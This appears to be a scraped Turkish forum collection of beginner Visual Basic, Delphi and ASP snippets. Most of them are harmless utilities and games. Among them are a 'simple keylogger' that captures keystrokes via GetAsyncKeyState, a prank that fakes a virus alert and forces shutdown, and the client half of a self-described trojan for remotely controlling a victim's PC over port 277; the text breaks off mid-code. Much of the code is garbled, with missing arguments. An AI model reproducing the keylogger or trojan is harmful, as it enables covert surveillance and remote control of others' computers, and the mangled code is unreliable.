textbox içindeki yazıyı kalın, italik, altı çizili yazmanızı sağlar kullanılanlar: 'checkbox((3)-style özelliği 1-graphical olarak ayarlandı), textbox(1) Private Sub Check1_Click Text1. FontBold = Check1. Value End Sub Private Sub Check2_Click Text1. FontItalic = Check2. Value End Sub Private Sub Check3_Click Text1. FontUnderline = Check3. Value End Sub

Gün isimleri. arkadaşlar ben form üzerine yazıyorum bu kodları siz değiştirebilirsiniz mesela label ekleyip gün isimlerini labele yazdırabilirsiniz. ' şimdi gün isimleriyle başlayalım 'Formun load bölümüne Private sub form_load dim i show fontbold = true ' yazı tipimizi kalınlaştırıyoruz print " Günler" 'print komutu ekrana günleri yazdıracak fontbold = false 'ekran isimleri kalın yazılmayacak for i = 1 to 7 '1 hafta 7 gün olduğu için 7 tane gün ismi oluşturuluyor print WeekdayName (i, False, 0) next end sub Windows Startup klasörüne konan programlar, windowsun baslamasi ile birlikte çalismaya baslarlar. Fakat bunu program içerisinden yapmak istiyorsaniz, veya programiniz, bir kereye mahsus baslangiçta çalissin istiyorsaniz, asagidaki fonksiyonu kullanarak geçici veya kalici olarak gerekeni yapabilirsiniz procedure RunOnStartup ; var sKey : string; reg : TRegIniFile; begin if then sKey := 'Once' else sKey := "inda ise bir mesaj gösterilmektedir. unit surpriz; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type Tst=array of string; const strings:Tst= ; type TForm1 = class procedure FormKeyDown ; procedure FormCreate ; private public s:string; end; var Form1: TForm1; implementation procedure TForm1. FormKeyDown ; var i:integer; tamam:integer; begin if and (key>=$41) and (key<=$5A) then begin s:=s+chr ; tamam:=0; for i:=1 to 4 do begin if (s=copy(strings<i>,1, length then Tamam:=-i; if then Tamam:=i; end; if Tamam=0 then s:="; if Tamam>0 then showmessage ; end; end; procedure TForm1. FormCreate ; begin S:="; end; end.

Kendi İnternet Hızınızı Öğrenin! Working with registry declarations and constants Private Declare Function RegCloseKey Lib "advapi32. dll" As Long Private Declare Function RegOpenKey Lib "advapi32. dll" Alias "RegOpenKeyA" As Long Private Declare Function RegQueryValueEx Lib "advapi32. dll" Alias "RegQueryValueExA" As Long Private Const ERROR_SUCCESS = 0& Private Const APINULL = 0& Private Const HKEY_LOCAL_MACHINE = &H80000002 'Working with wininet. dll declarations and constants Private Declare Function InternetGetConnectedStateEx Lib "wininet. dll" Alias "InternetGetConnectedStateExA" As Long 'Private Declare Function InternetGetConnectedState Lib "wininet. dll" As Long 'this function used with IE4 'Private Declare Function InternetGetConnectedState Lib "wininet. dll" As Long 'this function used with IE4 Private Const INTERNET_CONNECTION_MODEM = &H1& Private Const INTERNET_CONNECTION_LAN = &H2& Private Const INTERNET_CONNECTION_PROXY = &H4& Private Const INTERNET_RAS_INSTALLED = &H10& Private Const INTERNET_CONNECTION_OFFLINE = &H20& Private Const INTERNET_CONNECTION_CONFIGURED = &H40& 'Declares for direct ping Private Declare Function InternetOpen Lib "wininet. dll" Alias "InternetOpenA" As Long Private Declare Function InternetOpenUrl Lib "wininet. dll" Alias "InternetOpenUrlA" As Long Private Declare Function InternetCloseHandle Lib "wininet. dll" As Long Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0 Private Const INTERNET_FLAG_RELOAD = &H80000000 Private Const INTERNET_FLAG_KEEP_CONNECTION = &H400000 Private Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000 Dim checkType As Integer Dim remMsg(2) As String Private Sub Command1_Click Select Case checkType Case 0 CheckConnection1 Case 1 CheckConnection2 Case 2 CheckConnection3 Case Else End Select End Sub Private Sub Form_Load remMsg(0) = "This is the easiest way to check connection. Checking registry value of System\CurrentControlSet\Services\RemoteAccess from HKEY_LOCAL_MACHINE. Using RegOpenKey function from advapi32. dll. Unfortunately, checking is ONLY for MODEM connection. If you are connecting to Internet via Local Area Network , this method return False even if you are connected" remMsg(1) = "This method use InternetGetConnectedStateEx function from wininet. dll. In addition, you can receive some more information about connection - Type of connection , Using of Proxy, RAS installing, OnLine/OffLine. It's work fine, but there is one problem. If your computer is in Local Area Network but you are connecting to Internet via modem, this method always returns True, in case you are connecting to Internet or not" remMsg(2) = "This method use direct ping to some Internet address and checking for connection errors. Now it use http:/www.yahoo.com. It's not so quickly, as previous two, but this method is the most reliable" Option1(0). Value = True Option1(0). Caption = "Using registry" Option1(1). Caption = "Using InternetGetConnectedStateEx" Option1(2). Caption = "Using direct ping to www.yahoo.com" Text1 = remMsg(0) End Sub Private Sub Option1_Click checkType = Index Text1 = remMsg End Sub 'This part of code is from http://www.VB-world.net with my corrections Private Sub CheckConnection1 Dim ReturnCode As Long Dim hKey As Long Dim lpSubKey As String Dim phkResult As Long Dim lpValueName As String Dim lpReserved As Long Dim lpType As Long Dim lpData As Long Dim lpcbData As Long lpSubKey = "System\CurrentControlSet\Services\RemoteAccess" & Chr$(0) ReturnCode = RegOpenKey If ReturnCode = ERROR_SUCCESS Then hKey = phkResult lpValueName = "Remote Connection" lpReserved = APINULL lpType = APINULL lpData = APINULL lpcbData = APINULL ReturnCode = RegQueryValueEx lpcbData = Len ReturnCode = RegQueryValueEx If ReturnCode = ERROR_SUCCESS Then If lpData = 0 Then MsgBox "Your computer is not connected to Internet via modem", vbInformation, "Checing connection" Else MsgBox "Your computer is connected to Internet via modem", vbInformation, "Checing connection" End If Else MsgBox "Your computer is not connected to Internet via modem, but it can be connected via LAN", vbInformation, "Checing connection" End If End If RegCloseKey End Sub Private Sub CheckConnection2 Dim dwFlags As Long Dim sNameBuf As String, msg As String Dim lPos As Long sNameBuf = String$(513, 0) If InternetGetConnectedStateEx(dwFlags, sNameBuf, 512, 0&) Then lPos = InStr If lPos > 0 Then sConnectionName = Left$(sNameBuf, lPos - 1) Else sConnectionName = "" End If msg = "Your computer is connected to Internet" & vbCrLf & "Connection Name: " & sConnectionName If Then msg = msg & vbCrLf & "Connection use LAN" ElseIf lFlags And INTERNET_CONNECTION_MODEM Then msg = msg & vbCrLf & "Connection use modem" End If If lFlags And INTERNET_CONNECTION_PROXY Then msg = msg & vbCrLf & "Connection use Proxy" If lFlags And INTERNET_RAS_INSTALLED Then msg = msg & vbCrLf & "RAS INSTALLED" Else msg = msg & vbCrLf & "RAS NOT INSTALLED" End If If lFlags And INTERNET_CONNECTION_OFFLINE Then msg = msg & vbCrLf & "You are OFFLINE" Else msg = msg & vbCrLf & "You are ONLINE" End If If lFlags And INTERNET_CONNECTION_CONFIGURED Then msg = msg & vbCrLf & "Your connection is Configured" Else msg = msg & vbCrLf & "Your connection is not Configured" End If Else msg = "Your computer is NOT connected to Internet" End If MsgBox msg, vbInformation, "Checking connection" End Sub Private Sub CheckConnection3 Dim sTmp As String Dim hInet As Long Dim hUrl As Long Dim Flags As Long Dim url As Variant hInet = InternetOpen(App. Title, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0&) sTmp = Me. Caption Me. Caption = "Checking connection with www.yahoo.com..." If hInet Then Flags = INTERNET_FLAG_KEEP_CONNECTION Or INTERNET_FLAG_NO_CACHE_WRITE Or INTERNET_FLAG_RELOAD hUrl = InternetOpenUrl(hInet, "http://www.yahoo.com", vbNullString, 0, Flags, 0) If hUrl Then MsgBox "Your computer is connected to Internet", vbInformation, "Checing connection" Call InternetCloseHandle Else MsgBox "Your computer is not connected to Internet", vbInformation, "Checing connection" End If End If Call InternetCloseHandle Me. Caption = sTmp End Sub

Formu Yakıp söndürme. Private Sub Timer1_Timer If Me. Visible = True Then Me. Visible = False Else Me. Visible = True End If End Sub Private Sub Command1_Click ' That value for duration 1000 = 1 second Timer1. Interval = 1000 End Sub KULLANICININ SEÇEÇEĞİ BİR AVI DOSYASINI ÇALACAK PROGRAM Private Sub Check1_Click Animation1. AutoPlay = Check1. value End Sub Private sub Command1_click On Local error GoTo hata Commanddialog1. filter= "avi │ . avi" CommonDialog1. Showopen Animation1. open CommonDialog1. FileName Exit sub Hata: MsgBox Exit sub End sub Private sub command2_click On local error resume next Animation1. Play End sub Private sub command3_click On local error resume next Animation1. stop End sub Private sub command4_click On local error resume next Animation1. close End sub Formumuza 1 adet animation kontrolü, 1 adet commonDialog kontrolü, checkbox, 4 adet commond buton kontrolleri yerleştirelim

Basit bi keylogger Programı Private Sub Form_Load Timer1. Enabled = True ' VB de thread kullanamyyaca?ymyz için ona benzer olarak ' yada yakyn olarak Timer objesini kullanyyoruz. ' Bunun içinde Timer1 i açyly?ta Enable ediyoruz. End Sub Private Sub Timer1_Timer CheckKeys ' Tu?lary yakalayyp belirleyen yordam End Sub Private Sub CheckKeys Dim keyResult As String ' Döngü içerisinde iken kullanylacak geçici de?i?ken Dim keyIndex As Long For keyIndex = 1 To 255 ' Toplam 255 adet tu? oldu?u için 1 den 255 e kadar ' For-Next ile dönece?iz. keyResult = 0 ' Önce keyResult y syfyrlayalym, keyResult = GetAsyncKeyState ' Syradaki tu?un durumunu ö?renelim, If keyResult = -32767 Then 'Tu? basyly ise geriye -32767 dönecektir. Call Windows_OnKeyPress ' Event' y simule etmek için tu?un ' de?erini Sub' a geçirelim. End If Next keyIndex End Sub Private Sub Windows_OnKeyPress ' Tu? Yakalamada Event'y ' Simule etmek için kullanylacak ' Sub Text1 = Text1 & Chr & Shift End Sub Private Function GetCapsLock As Boolean GetCapsLock = CBool(GetKeyState And 1) ' API ye Capslock tu?unu sorgulayalym End Function Private Function GetShift As Long ax = GetAsyncKeyState ' API ye Shift tu?unu sorgulayalym If ax = -32768 Then GetShift = 1 ' E?er basyly ise 1 döndür End Function Private Function GetCtrl As Long ax = GetAsyncKeyState ' API ye Ctrl tu?unu sorgulayalym If ax = -32768 Then GetCtrl = 1 ' E?er basyly ise 1 döndür End Function Private Function GetAlt As Long ax = GetAsyncKeyState ' API ye Alt tu?unu sorgulayalym If ax = -32768 Then GetAlt = 1 ' E?er basyly ise 1 döndür End Function küçük bir şaka programı bu programla arkadaşlarınızı gerçekten korkutabilirsiniz Private Const EWX_SHUTDOWN = 1 Private Const EWX_FORCE = 4 Private Const EWX_REBOOT = 2 Private Const EWX_LOGOFF = 0 Private Sub form_load MsgBox "hahahahahahaa Bilgisayarına VİRÜS Bulaşıyor al bicik ağzına düzelir!!!" End Sub Private Sub form_Terminate kapat = ExitWindowsEx(EWX_SHUTDOWN, 1) If kapat = True Then Else MsgBox End if End Sub

Aşağıdaki kodları kullanarak kasa içerisindeki hoparlörü kullanarak Hoş sesler çıkarabilirsiniz Private Declare Function APIBeep Lib "kernel32" Alias "Beep" As Long Private Sub Command1_Click ReDim a(17) a(1) = 440: a(2) = 4: a(3) = 465: a(4) = 4 a(5) = 560: a(6) = 6: a(7) = 465 a(8) = 2: a(9) = 523: a(10) = 4: a(11) = 465 a(12) = 2: a(13) = 440: a(14) = 2: a(15) = 465 a(16) = 4: a(17) = 440 For s = 1 To 17 APIBeep a , 180 DoEvents Next End Sub timer ile bir yazı animasyonu yapacağız formunuza bir tane timer yerleştirin birtane label private sub form_load timer1. interval=10 label1. autosize=true label1. fontname="Courier New" end sub private sub timer1_timer static t, x, artim if IsEmpty then t="DARKPRINCE" artim=-1 end if if (2 x ) >= Len - 1 then artim=-artim if x <= 0 then artim=-artim x=x + artim label1. caption=left + space (len - 2 x ) + right end sub

Paint Çizgi Çiz! kullanılanlar: 'optionButton((1)-çizgi çiz isimli-index 0 olacak), timer(1) Private Sub Form_Load Timer1. Interval = 100 Timer1. Enabled = False End Sub Private Sub Form_MouseDown If Option1(0). Value = True Then 'cizgi işaretli ise Line - 'tıklanan noktaya bir çizgi koy End If End Sub Private Sub Form_MouseMove If Button = 1 Then 'sol tus basılı ıse If Option1(0). Value = True Then Line - End If End If End Sub

SAYİ BULMA Oyunu! Private Sub Command1_Click If Val(Text1) = Val Then Label1. Caption = "" MsgBox b + 1 & " SEFERDE BİLDİNİZ" List1. Visible = 0 Text1. Visible = 0 Command1. Visible = 0 Command3. Visible = 1 b = 0 Else If Val(Text1) > a Then Label1. Caption = "KÜÇÜK SAYI GİR" b = b + 1 End If If Val(Text1) < a Then Label1. Caption = "BÜYÜK SAYI GİR" b = b + 1 End If List1. AddItem Text1 Text1 = "" End If End Sub Private Sub Command2_Click List1. Visible = 1 Text1. Visible = 1 Command1. Visible = 1 Command3. Visible = 0 Randomize a = (Val(Rnd 100)) List1. Clear Label1 = "" Text1 = "" End Sub Private Sub Command3_Click End End Sub Private Sub Form_Load List1. Visible = False Text1. Visible = 0 Command1. Visible = 0 Command3. Visible = 1 End Sub Private Sub Label1_Click End Sub

net send ile mesaj Private Sub cmdAdd_Click If Text1 <> "" Then Combo1. AddItem Text1 Text1 = Empty End If End Sub Private Sub cmdDeleteMessage_Click Text2 = Empty End Sub Private Sub cmdExit_Click Unload Me End Sub Private Sub cmdSend_Click Dim ret As Long ret = NetSendMessage(Combo1. Text, Text2. Text) If ret <> 0 Then MsgBox NetSendErrorMessage , vbCritical, "Error" Else MsgBox NetSendErrorMessage , vbInformation, "NetSend" End If End Sub

Asp İle Mail Gönderme! <% On Error Resume Next Select Case emailturu Case "cdonts" Set Email = Server. Createobject Email. From = kimdene Email. To = kimee Email. Subject = konu Email. Body = Email. Send Set Email = Nothing Case "aspemail" Set Email = CreateObject Email. From = kimdene Email. FromName = kimden Email. Host = email_server Email. AddAddress kimee Email. Subject = konu Email. Body = MesajBody Email. Send Set Email = Nothing Case "jmail" Set Email = Server. CreateObject Email. ContentType = "text/html" Email. Charset = "ISO-8859-9" Email. From = kimdene Email. FromName = kimden Email. ServerAddress = email_server Email. MailServerUserName = email_kullaniciadi Email. MailServerPassWord = email_sifre Email. AddRecipient kimee Email. Subject = konu Email. Body = MesajBody Email. Send Set Email = Nothing Case "aspmail" Set Email = Server. CreateObject Email. FromName = kimden Email. FromAddress = kimdene Email. RemoteHost = email_server Email. AddRecipient kimee Email. Subject = konu Email. BodyText = MesajBody Gonder = Email. SendMail Case "bamboo" Set Email = Server. CreateObject Email. Server = email_server Email. Rcpt = kimee Email. From = kimdene Email. FromName = kimden Email. Subject = konu Email. Message = MesajBody Email. Send Set Email = Nothing Case "ocxmail" Set Email = Server. CreateObject("ASPMail. ASPMailCtrl.1") SendEmail = Email. SendMail Set Email = Nothing End Select %> Sürücü Tipini Bulan Program! Formunuza bir tane command button ekleyin ve aşağıdakini copy-paste yapın. Artık bilgisayarınızdaki sürücü tiplerini öğrenebilirsiniz. Option Explicit Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" As Long Private Const DRIVE_REMOVABLE = 2 Private Const DRIVE_FIXED = 3 Private Const DRIVE_REMOTE = 4 Private Const DRIVE_CDROM = 5 Private Const DRIVE_RAMDISK = 6 Private Sub Command1_Click Dim i, drv, d$ For i = 0 To 25 d$ = Chr$(i + 65) & ":" drv = GetDriveType Select Case drv Case DRIVE_REMOVABLE Print d$ & " Disket Sürücü" Case DRIVE_FIXED Print d$ & " Sabit Disk" Case DRIVE_REMOTE Print d$ & " Ağ Sürücüsü" Case DRIVE_CDROM Print d$ & " CD_ROM Sürücü" Case DRIVE_RAMDISK Print d$ & " Ram Disk" End Select Next i End Sub

ekranın resmini çekin! yeni bi exe projesi baslatin bir command button ekleyin asagidaki kodu cilick olayina yazin Option Explicit Private Declare Sub keybd_event Lib "user32" Private Sub Command1_Click Call keybd_event(vbKeySnapshot, 0, 0, 0) ' Hali hazirda bulunan ekranin fotografini yakaladi DoEvents ' Clipboarda Çekilen Resmin Kopyalanmasi için Bilgisayari beklet SavePicture Clipboard. GetData , "" & App. Path & "\EkranFoto. bmp" ' Resimi Kaydeder... End Sub

Formunuza şekil kazandırıp mavi başlıktan kurtulmak için hazırlanmış genel anlamda bilinen bir kod. Releasecapture ve sendmessage apilerinede örnek bir kod. Bu kısmı module yerleştirin. Yada public başlıklarını private oalrak değitirerek generals bölümüne yapıştırabilirsiniz Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" As Long Public Declare Sub ReleaseCapture Lib "User32" Public Const WM_NCLBUTTONDOWN = &HA1 Public Const HTCAPTION = 2 'Direk forma geçicek bölüm. Private Sub Form_MouseMove Call ReleaseCapture Call SendMessage End Sub Mouse den kaçan butonumuz.. Çok basit ama yeni başlayanlar için if döngüsünü anlamaları iiçin ideal... Formumuza bir adet buton ekliyoruz. ve aşağıdaki kodu formumuza aynen yapıştırıyoruz... Sub mouse_geldi If Button. Left = 100 And Button. Top = 100 Then Button. Left = 100 Button. Top = 2500 ElseIf Button. Left = 100 And Button. Top = 2500 Then Button. Left = 2500 Button. Top = 2500 ElseIf Button. Left = 2500 And Button. Top = 2500 Then Button. Left = 2500 Button. Top = 100 ElseIf Button. Left = 2500 And Button. Top = 100 Then Button. Left = Screen. TwipsPerPixelX / 2 Button. Top = Screen. TwipsPerPixelY / 2 Else Button. Left = 100 Button. Top = 100 End If End Sub Private Sub Command1_Click MsgBox "niye entere yada spacebar a basıyon?" & vbCrLf & "Sıkıysa mouseyle bassana.. Hahahah", vbInformation + vbOKOnly, "DAGARSLAN YAZILIM" End Sub Private Sub Command1_MouseMove mouse_geldi Command1 Form1. SetFocus End Sub Private Sub Form_Load me. scalemode=1 Command1. left=165 command1. top=135 Me. BorderStyle = 1 Me. Caption = "DAGARSLAN EĞLENCELİK " Me. Width = 4000 Me. Height = 3900 End Sub

2 Tarih arasındaki gün sayısını bulan basit bir örnek! Öncelikle Forma 3 Adet Textbox ve 1 Adet Buton Ekleyelim; Daha Sonra aşağıdaki Kodu Butonun İçerisine Aynen Yapıştıralım. Private Sub Command1_Click Dim tfark As Long 'Tarihler Arası Fark Değişkeni Dim tt1 As Date 'Tarih 1 Değişkeni Dim tt2 As Date 'Tarih 2 Değişkeni tt1 = Text1. Text 'tt1 Değişkenine Textbox'ın içeriği Atanıyor tt2 = Text2. Text 'tt2 Değişkenine Textbox'ın içeriği Atanıyor tfark = tt1 - tt2 'Çıkarma İşlemi Yapıldı Text3. Text = tfark ' Sonuç Textbox'a Atanıyor End Sub Otomatik kapatma programı. text1=saniye text2=dakika command1=basla bir tanede timer ekleyin otomatik kapama programınız hazır... Dim a, b As Integer Private Sub Baslat_Click a = saniye. Text b = dakika. Text Timer1. Enabled = True Timer1. Interval = 1000 End Sub Private Sub Timer1_Timer a = a - 1 If a = 0 Then b = b - 1 If b = 0 Then Shell "C:\Windows\Rundll32. exe User, ExitWindows" End Sub burada sadece dakika ve saniye var isterseniz saat te yerleştirebilirsiniz!

Visual basicde Winsock Kullanarak İnternette Ağ üzerinde hatta aynı makine üzerinde chat Yapabilirsiniz. " Merhaba Arkadaşlar Size Winsock Kullanımı Hakkında bilgi vericem. Öncelikle Bir form oluşturun Üzerine 3 Adet TextBox yerleştirin 1. TextBox Adı:Text1 2. TextBox Adı:TGelen MultiLine özelliğini True yapın. 3. TextBox Adı:TGiden MultiLine özelliği False olarak kalsın. Daha Sonra 1 Adet Label Ekleyin (Adı: Label1) Bu Bağlantı durumu hakkında size bilgi verecektir. Sonra 2 Adet Commad Buton Ekleyin. 1. Butonun Name Kısmına: Baglan yazın 2. Butonun Name Kısmına: BaglantiBekle yazın Sonra 2 Adet Winsock Ekleyin. (Nasıl Eklerim: Project / Component i seçerek ekrana çıkan pencereden Microsoft Winsock Control 6.0 (SP6) işaretleyip Tamam tuşuna basın daha sonra artık Winsock sol taraftaki listeye eklenmiş olacaktır. ) DAHA SONRA AŞAĞIDAKİ KOD SATIRINI FORMUNUZUN KOD SATIRINA OLDUĞU GİBİ EKLEYİN. 'KOD BAŞLANGICI Option Explicit Dim enter Private Sub Baglan_Click On Error GoTo HataHaluk_mrdos Winsock2. RemoteHost = Text1 Winsock2. RemotePort = 1024 Winsock2. Connect Exit Sub HataHaluk_mrdos: MsgBox "İKİNCİ KERE BAĞLAN TUŞUNA BASTINIZ LÜTFEN PROGRAMI YENİDEN ÇALIŞTIRIN..." End End Sub Private Sub BaglantiBekle_Click If Winsock1. State = 2 Then Winsock1. Close BaglantiBekle. Caption = "BAĞLANTIYI BEKLE" Else Winsock1. LocalPort = 1024 Winsock1. Listen BaglantiBekle. Caption = "BAĞLANTIYI KES" End If End Sub Private Sub Form_Load enter = Chr(13) + Chr(10) TGelen = "" TGiden = "" End Sub Private Sub TGiden_KeyPress If KeyAscii = 13 Then If Winsock1. State = 7 Then Winsock1. SendData TGiden. Text TGelen = TGelen + "SİZDEN > " + TGiden + enter TGiden = "" End If If Winsock2. State = 7 Then Winsock2. SendData TGiden. Text MsgBox TGiden. Text TGelen = TGelen + "SİZDEN > " + TGiden + enter End If End If End Sub Private Sub Winsock1_Close Label1 = "BAĞLANTI KESİLDİ" End Sub Private Sub Winsock1_Connect Label1 = "BAĞLANTI SAĞLANDI" End Sub Private Sub Winsock1_ConnectionRequest If Winsock1. State <> sckClosed Then Winsock1. Close End If Winsock1. Accept requestID Label1 = "BİR BAĞLANTI İSTEĞİ GELDİ" End Sub Private Sub Winsock1_DataArrival Dim s As String Winsock1. GetData s s = "Karsıdan" > "+s" TGelen. Text = TGelen. Text + s + enter End Sub Private Sub Winsock1_Error MsgBox "Şuganda Hata Oluştu" End Sub Private Sub Winsock2_Connect Label1 = "BAĞLANTI SAĞLANDI" End Sub Private Sub Winsock2_DataArrival Dim s As String Winsock2. GetData s s = "Karsıdan > " + s TGelen. Text = TGelen. Text + s + enter End Sub Private Sub Winsock2_Error Label1 = "BAĞLANTI KESİLDİ" End Sub 'KOD BİTİŞİ ŞİMDİ KULLANIMINI ANLATAYIM: File / Make Prpjet1. exe kısmından programı derleyin. 1. Bu dosyayı internet üzerinden 2. Ağ üzerinden veya 3. Aynı makineden çalıştırabilirsiniz. Kendi makinenizde çalıştırmak için programı 2 kere çalıştırın. 1. programda BAĞLANTI BEKLE Command butonuna basın 2. Programda ise Text1 e makinenizin IP adresini girin ve BAĞLAN tuşuna basın. Ve artık iki prpgram arasında mesaj alıp gönderebilirsiniz...

şlemci ile ilgili bilgileri öğrenin! işlemci ile ilgili bilgileri öğrenmek bazen programcı için çok önemlidir çünkü programınızı yanlız belli bir tipte işlemci için çalışacabilir nitelikte yazıp, yazdığınız programı yanlızca belli bir kullanıcı yada kullanıcı grubunda tekelleştirebilirisiniz. örneğin yazdığınız kodda küçük bir değişiklik ile programı kullanan kullanıcının programı başka bir kullanıcıya vermesi halinde program çalışmayacak bu da size büyük bir avantaj sağlayacaktır. işte işlemci bilgisinin görüntülenmesini sağlayan kodlar. İşlemci İle İlgili Bilgileri Öğrenmek Private Declare Sub GetSystemInfo Lib "kernel32" Private Type SYSTEM_INFO dwOemID As Long dwPageSize As Long lpMinimumApplicationAddress As Long lpMaximumApplicationAddress As Long dwActiveProcessorMask As Long dwNumberOrfProcessors As Long dwProcessorType As Long dwAllocationGranularity As Long dwReserved As Long End Type Private Sub Command1_Click Dim cpu As SYSTEM_INFO GetSystemInfo cpu Print "Cpu Tipi : " & cpu. dwProcessorType Print "Cpu Sayısı : " & cpu. dwNumberOrfProcessors End Sub

Visual Basic İle Kısayol yapmak! Visual basic ile kısayol yapmanın bir çok yolu vardır. Bunlardan en basiti bu yazı ile anlatılmaktadır. DDE teknolojisi kullanılan bu yöntemde bilmemiz gerekenler; 1- Başlat menüsünde programlar klasörünün yerinin öğrenilmesi, 2- Masaüstü klasörü yerinin öğrenilmesi, 3- DDE kullanarak başka bir programla ilişki kurulması, 4- Açık bir başka pencerenin kapatılması, Hemen uygulamaya geçelim; a) Yeni bir proje başlatın b) 1 ve 2 inci maddelerin uygulanması için sistem kayıt dosyasından okuma yapmamız gerekiyor. Bu nedenle projenize yeni bir modül ekleyip bu module aşağıdaki kodları yazın; Option Explicit Public Const HKEY_CURRENT_USER = &H80000001 Private Declare Function RegOpenKey Lib _ "advapi32. dll" Alias "RegOpenKeyA" _ As Long Private Declare Function RegQueryValueEx Lib _ "advapi32. dll" Alias "RegQueryValueExA" _ As Long Const ERROR_SUCCESS = 0& Const REG_SZ = 1 Public Function GetString Dim keyhand As Long Dim datatype As Long Dim lResult As Long Dim strBuf As String Dim lDataBufSize As Long Dim intZeroPos As Integer Dim R Dim lValueType As Long R = RegOpenKey lResult = RegQueryValueEx(keyhand, _ strValue, 0&, lValueType, _ ByVal 0&, lDataBufSize) If lValueType = REG_SZ Then strBuf = String lResult = RegQueryValueEx(keyhand, _ strValue, 0&, 0&, ByVal strBuf, _ lDataBufSize) If lResult = ERROR_SUCCESS Then intZeroPos = InStr(strBuf, Chr$(0)) If intZeroPos > 0 Then GetString = Left$(strBuf, _ intZeroPos - 1) Else GetString = strBuf End If End If End If End Function c) 3 üncü maddenin uygulanması için projenize yeni bir modül ekleyip bu module aşağıdaki kodları yazın; Option Explicit Sub KisayolYap Const Virgül$ = "," Const Düzelt$ = ", 1)]" Const Aktif$ = ", 5)]" Const Son$ = ")]" Const Göster$ = "[ShowGroup(" Const GrupYarat$ = "[CreateGroup(" Const Yerleştir$ = "[ReplaceItem(" Const Ekle$ = "[AddItem(" Programismi = Chr(34) + Programismi + Chr(34) Grupismi = Chr(34) + Grupismi + Chr(34) Dim Döngü As Integer Dim DenemeDöngü As Integer For DenemeDöngü = 1 To 20 On Error Resume Next Nesne. LinkTopic = "PROGMAN|PROGMAN" If Err = 0 Then Exit For End If DoEvents Next DenemeDöngü Nesne. LinkMode = 2 For Döngü = 1 To 10 DoEvents Next Nesne. LinkTimeout = 100 On Error Resume Next If Err = 0 Then Select Case NeEkle Case 1 'Program ekle #If 0 Then Nesne. LinkExecute Göster & Grupismi & Aktif #Else Nesne. LinkExecute GrupYarat & Grupismi & Son #End If Nesne. LinkExecute Yerleştir & TaniticiBilgi & Son Err = 0 Nesne. LinkExecute Ekle & Programismi & Virgül _ & TaniticiBilgi & String$(3, Virgül) & Son Case 2 'Grup ekle Nesne. LinkExecute GrupYarat & Grupismi & Son Nesne. LinkExecute Göster & Grupismi & Düzelt End Select End If For Döngü = 1 To 10 DoEvents Next Nesne. LinkMode = 0 Nesne. LinkTopic = "" Err = 0 End Sub d) 4 inci maddenin uygulanması için projenize yeni bir modül ekleyip bu module aşağıdaki kodları yazın; Option Explicit Private Declare Function GetWindow Lib "user32" _ As Long Private Declare Function GetWindowText Lib "user32" _ Alias "GetWindowTextA" As Long Private Declare Function GetWindowTextLength Lib "user32" _ Alias "GetWindowTextLengthA" As Long Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" _ As Long Sub WindowsPencereKapat Dim Aktif As Integer, Uz As Integer, Başlik As String Başliği = LCase Aktif = GetWindow(FHandle, 0) While Aktif <> 0 Uz = GetWindowTextLength Başlik = Space(Uz + 1) Uz = GetWindowText(Aktif, Başlik, Uz + 1) Başlik = LCase If Başlik = Başliği + Chr(0) Then Dim Dur As Long Dur = PostMessage(Aktif, &H10, 0&, 0&) Exit Sub End If Aktif = GetWindow(Aktif, 2) Wend End Sub e) Formun üzerine 3 label, 3 textbox, 1 command button, 2 checkbox alın ve özelliklerini; Label1. caption="Tanıtıcı Bilgi" Label2. caption="Grup adı" Label3. caption="Program adı" Text1="Deneme" Text2="Grup Dene" Text3="C:\Deneme. exe" Command1. caption="Yap" Check1. caption="Başlat menüsüne ekle" Check2. caption="Masa üstüne ekle" olacak şekilde properties penceresinden düzenleyin f) Formun kodları aşağıdaki gibi olsun; Option Explicit Sub KisaYoluYap Dim Tanitici$, KDosya$ Tanitici = Kisayol 'Başlat menüsünün yeri KDosya = GetString SonunaFlashEkle KDosya KDosya = KDosya + Grup SonunaFlashEkle KDosya KDosya = KDosya + Tanitici + ". lnk" If DosyaVar Then 'Aynı kısayol varsa sil Kill KDosya End If DoEvents KisayolYap Label1, Grup, "", "", 2 KisayolYap Label1, Grup, Dosya, Tanitici, 1 DoEvents If DosyaVar = False Then MsgBox Exit Sub End If 'Masaüstüne ekle If Check2. Value = 1 Then Dim Masa$ 'Masaüstünün yeri Masa = GetString SonunaFlashEkle Masa Masa = Masa + Tanitici + ". lnk" If DosyaVar Then Kill Masa FileCopy KDosya, Masa DoEvents End If 'Başlat menüsünden sil If Check1. Value <> 1 Then DoEvents Kill KDosya End If DoEvents WindowsPencereKapat Grup, Me. hwnd End Sub Private Sub Command1_Click If Check1. Value = 1 Or Check2. Value = 1 Then KisaYoluYap Text2, Text3, Text1 End If End Sub Sub SonunaFlashEkle If Len = 0 Then Exit Sub If Right(Metin, 1) <> "\" Then Metin = Metin + "\" End Sub Function DosyaVar As Boolean If Len = 0 Then DosyaVar = False Exit Function End If If Len(Dir Then DosyaVar = True Else DosyaVar = False End If End Function

Arkadaşlar Bir tane Trojan yapalım makinayı felç edelim! Command 1 Bağlanmak için Command 2 Cdromu açmak için Command 3 Cdromu kapatmak için Command 4 Başlat çubuğunu Göster Command 5 Masaüstünü Sakla Command 6 Masaüstünü Göster Command 7 Başlat Çubuğunu Sakla Command 8 Mouse Sağ el hakim olsun Command 9 Mouse Sol el Sahip olsun Command 10 Mesaj Yollama Text 3 Mesaj metni Text1 ip Yazılacak kısım Tex4 Bağlantı Göstergesi JohnSysinfo eklemeyi de unutmayın servera bu da önemli cdRomu açamazsınız yoksa Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayın Neyse benden bu kadar ilk konularda burdan yardım aldım şimdi buraya Minnetimi ödiyim ben, saolun hepiniz Client Private Sub Command1_Click Winsock. Close Winsock. Connect Text1. Text, 277 End Sub Private Sub Command10_Click Winsock. SendData "Message= Text3. text" DoEvents End Sub Private Sub Command2_Click Winsock. SendData "Cdopen" DoEvents End Sub Private Sub Command3_Click Winsock. SendData "Cdclose" DoEvents End Sub Private Sub Command4_Click Winsock. SendData "showtask" DoEvents End Sub Private Sub Command5_Click Winsock. SendData "hidesk" DoEvents End Sub Private Sub Command6_Click Winsock. SendData "showdesk" DoEvents End Sub Private Sub 